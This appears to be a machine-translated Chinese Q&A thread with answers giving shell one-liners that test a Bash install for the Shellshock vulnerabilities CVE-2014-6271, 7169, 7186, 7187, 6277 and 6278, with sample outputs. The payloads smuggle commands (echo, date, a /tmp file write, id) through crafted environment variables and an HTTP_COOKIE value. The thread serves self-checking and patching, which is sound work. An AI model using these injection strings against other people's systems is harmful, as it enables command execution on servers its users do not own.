如何确保我的 Bash 安装不易受到炮弹冲击更新后还有 Bug 吗?
答案1
检查 CVE-2014-6271 漏洞
env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
它不应该回应“脆弱”这个词。
检查 CVE-2014-7169 漏洞
(警告:如果失败,它将创建或覆盖一个名为的文件,
/tmp/echo
您可以在之后删除该文件,并且需要在再次测试之前将其删除)
cd /tmp; env X='() { (a)=>\' bash -c "echo date"; cat echo
它应该说出单词 date,然后发出类似这样的消息cat: echo: No such file or directory
。如果它告诉你当前的日期时间,那么你的系统就很脆弱。
检查 CVE-2014-7186
bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo "CVE-2014-7186 vulnerable, redir_stack"
它不应该回显文本CVE-2014-7186 vulnerable, redir_stack
。
检查 CVE-2014-7187
(for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash || echo "CVE-2014-7187 vulnerable, word_lineno"
它不应该回显文本CVE-2014-7187 vulnerable, word_lineno
。
检查 CVE-2014-6277。我对此不是 100% 确定,因为它似乎依赖于一个我不再有权访问的部分修补的系统。
env HTTP_COOKIE="() { x() { _; }; x() { _; } <<`perl -e '{print "A"x1000}'`; }" bash -c "echo testing CVE-2014-6277"
这次测试的通过结果是它只回显了文本testing CVE-2014-6277
。如果它运行 perl 或者它抱怨 perl 未安装,那肯定是失败了。我不确定任何其他失败特征,因为我不再有任何未打补丁的系统。
检查 CVE-2014-6278。同样,我不能 100% 确定这个测试是否可行,因为我不再有任何未打补丁的系统。
env HTTP_COOKIE='() { _; } >_[$($())] { echo hi mom; id; }' bash -c "echo testing CVE-2014-6278"
此测试的通过条件是它应该只回显文本testing CVE-2014-6278
。如果您的测试在任何地方都回显了文本hi mom
,则肯定失败了。
答案2
导出一个特制的环境变量,该变量将由易受攻击的 Bash 版本自动评估:
$ export testbug='() { :;}; echo VULNERABLE'
现在执行一个简单的 echo 来查看 Bash 是否会评估 $testbug 中的代码,即使您自己没有使用该变量:
$ bash -c "echo Hello"
VULNERABLE
Hello
如果显示“VULNERABLE”字符串,答案显而易见。否则,您无需担心,修补后的 Bash 版本没有问题。
请注意,主流 Linux 发行版已发布多个补丁,但有时它们无法完全修复漏洞。请继续检查安全公告和CVE 条目对于这个错误。
答案3
ShellShock 实际上多个 Bash 漏洞的结合, 和目前也存在利用此漏洞的恶意软件,因此 ShellShock 可能是一个尚未解决的问题,RedHat 关于此问题的更新帖子。
运行命令:
$ env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo test"
如果输出是:
$ env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo test"
vulnerable
bash: BASH_FUNC_x(): line 0: syntax error near unexpected token `)'
bash: BASH_FUNC_x(): line 0: `BASH_FUNC_x() () { :;}; echo vulnerable'
bash: error importing function definition for `BASH_FUNC_x'
test
你没有任何解决办法。
如果输出是:
$ env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
bash: error importing function definition for `BASH_FUNC_x()'
test
你已经CVE-2014-6271
修复
如果你的输出是:
$ env 'x=() { :;}; echo vulnerable' 'BASH_FUNC_x()=() { :;}; echo vulnerable' bash -c "echo test"
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `BASH_FUNC_x'
test
你并不脆弱。
ShellShock 检查的另一部分是 CVE-2014-7169 漏洞检查,可确保系统免受文件创建问题的攻击。要测试您的 Bash 版本是否易受 CVE-2014-7169 攻击,请运行以下命令:
$ cd /tmp; rm -f /tmp/echo; env 'x=() { (a)=>\' bash -c "echo date"; cat /tmp/echo
bash: x: line 1: syntax error near unexpected token `='
bash: x: line 1: `'
bash: error importing function definition for `x'
Fri Sep 26 11:49:58 GMT 2014
如果您的系统存在漏洞,则会显示时间和日期,并创建 /tmp/echo。
如果您的系统不易受到攻击,您将看到类似以下内容的输出:
$ cd /tmp; rm -f /tmp/echo; env 'x=() { (a)=>\' bash -c "echo date"; cat /tmp/echo
date
cat: /tmp/echo: No such file or directory
答案4
您可以将您的 CGI URL 提交给此在线测试: